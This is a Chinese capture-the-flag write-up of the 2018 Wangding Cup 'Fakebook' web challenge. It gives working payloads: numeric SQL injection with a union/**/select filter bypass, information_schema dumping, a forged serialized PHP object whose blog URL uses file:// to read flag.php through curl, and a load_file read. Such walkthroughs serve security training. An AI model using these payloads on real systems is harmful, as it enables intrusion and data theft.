[网鼎杯 2018]Fakebook

题目一览

登进去后,一个注册登陆界面,随便注册一下:

image-20200407105825941

之后会自动登录,我们点进去看一下:

image-20200407110206072

image-20200407110226580

注意看这个URL,怀疑是SQL注入。

法1 SQL注入+反序列化

先fuzz一下sql注入,发现确实存在注入点,为数字型:

view.php?no=1 order by 5 %23 (#的url编码)

发现5的时候报错,说明一共4列

image-20200407110927220

之后发现union select会被检测到。

单union和单select的都可以pass过去,所以我们用/**/来绕过(我就知道这个……)

view.php?no=999 union/**/select 1,2,3,4 %23

image-20200407111134142

看见了回显在第二列,那么接下来就是常规操作了,爆库名/表明/列名,查表。这一路比较顺利,都没任何过滤:

?no=999 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database() %23   直接爆表名

image-20200407111534811

爆列名:

?no=999 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = 'users' %23

image-20200407111646512

依次查一遍,发现data里面有有意思的数据:

?no=999 union/**/select 1,data,3,4 from users %23

image-20200407111931331

O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:10;s:4:"blog";s:8:"test.com";}

反序列化后的消息……这是想起来这个网站有意思的点:

image-20200407112302092

image-20200407112307730

说明他是会要求url格式的……也就是会解析URL

还有这一点:

image-20200407112502353

在view.php会加载blog:

image-20200407112607471

image-20200407114401174

所以大胆猜测一下逻辑,存入的数据被序列后存到data字段,然后反序列化data,取出各个列的内容,且Blog内的URL会被加载

又因为存在flag.php:

image-20200407112856542

所以试一下以下payload,构造file://协议来读取一下flag。/var/www/html/flag.php

已知data在第四个字段:

image-20200407113101480

修改一下序列后后blog内容的长度:

image-20200407113317762

?no=999 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:10;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

执行,发现Blog输出了一串Base64:

image-20200407113348688

解密后获得flag:

image-20200407113451812

……事后看了wp,其实这道题是有源码的,如果扫目录可以扫出robots.txt:

image-20200407113605461

user.php.bak:

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

基本思路就是初始一个对象,而且会对blog属性执行get方法:

public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

而get方法接受一个url,会调用curl_exec访问该URL:

function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

所以还是给Blog构造一个本地协议,思路是一样的。

法2 load_file

这个sql并没有过滤load_file函数……

?no=999 union/**/select 1,load_file('/var/www/html/flag.php'),3,4 %23

image-20200407120856916

……不知道怎么说了,下次做题的时候先fuzz全了再下一步。

猜你喜欢

转载自www.cnblogs.com/keelongz/p/12655168.html